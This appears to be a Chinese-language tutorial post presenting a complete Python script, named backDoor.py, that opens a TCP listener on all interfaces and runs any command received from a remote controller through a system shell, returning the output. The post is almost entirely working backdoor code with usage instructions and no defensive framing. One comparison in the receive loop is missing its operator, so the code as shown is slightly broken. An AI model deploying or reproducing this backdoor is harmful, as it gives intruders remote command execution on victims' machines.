Python實現(xiàn)Socket通信建立TCP反向連接

import socket
import getopt
import sys
import subprocess
from threading import Thread


def main():
    target = ""  # 目標IP
    port = 0     # 目標端口
    listen = False
    help = False

    # 利用getopt模塊從命令行獲取參數(shù)，sys.argv[1:]可以過濾掉第一個參數(shù)（第一個參數(shù)是腳本的名稱，它不應該作為參數(shù)進行解析）
    opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
    for o, a in opts:
        if o == "-t":
            target = a
        elif o == "-p":
            port = int(a)
        elif o == "-h":
            help = True
        elif o == "-l":
            listen = True
        else:
            # 斷言，傳入的參數(shù)有誤
            assert False, "Unhandled Option"

    # 輸出幫助文檔
    if help:
        usage()

    # 獲分客戶端和服務端
    if listen:
        server_handle(port)
    else:
        client_handle(target, port)


# 受控端
def server_handle(port):
    # 創(chuàng)建socket通道
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 綁定
    server.bind(('0.0.0.0', port))
    # 監(jiān)聽
    server.listen(10)
    print("[*] Listening on 0.0.0.0:%d" % port)
    while True:
        client_socket, addr = server.accept()
        print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
        t = Thread(target=run_command, args=(client_socket, server,))
        t.start()


# 控制端,發(fā)送命令，接收受控端命令行的回顯內(nèi)容
def client_handle(target, port):
    # 創(chuàng)建socket通道
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 連接服務器
    client.connect((target, port))
    # 接收數(shù)據(jù)
    while True:
        recv_len = 1
        # 接收到的數(shù)據(jù)是utf-8
        resBuffer = "".encode('utf-8')
        while recv_len:
            data = client.recv(4096)
            recv_len = len(data)
            resBuffer += data
            if recv_len  4096:
                break
        # 在windows下中文會亂碼，所以轉(zhuǎn)成GBK
        print(resBuffer.decode('gbk'), end="")
        # 接收命令，發(fā)送命令需要將命令轉(zhuǎn)成byte，并且編碼是utf-8
        buffer = input("")
        if buffer.encode('utf-8') == b"quit":
            break
        buffer += "\n"
        client.send(buffer.encode('utf-8'))
    client.close()


# 執(zhí)行命令涵數(shù)
def run_command(client_socket,s):
    while True:
        # 發(fā)送命令給客戶端
        client_socket.send(b"shell_>")
        # 定義接收命令byte類型變量
        cmd_buffer = "".encode('utf-8')
        # 接收客戶端發(fā)過來的消息，直到預到換行，代表客戶端消息輸入完成
        while b"\n" not in cmd_buffer:
            cmd_buffer += client_socket.recv(1024)
        if cmd_buffer == b"quit":
            break
        # 將完整的byte變量消息轉(zhuǎn)成字符串
        cmd_buffer = cmd_buffer.decode()
        try:
            # 通過隧道執(zhí)行命令并以byte數(shù)據(jù)類型返回輸出的數(shù)據(jù)
            out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
            # 將返回的數(shù)據(jù)發(fā)送給客戶端
            client_socket.send(out)
        except:
            client_socket.send(b"faild to execute the command")
    client_socket.close()  # 斷開連接
    s.close()  # 關(guān)閉套結(jié)字
    exit(0)


# 輸出幫助信息
def usage():
    print("help info : python backDoor.py -h")
    print("client : python backDoor.py -t [target] -p [port]")
    print("server : python backDoor.py -lp [port]")
    print("Exit ：Input quit to exit ")
    sys.exit()


if __name__ == "__main__":
    main()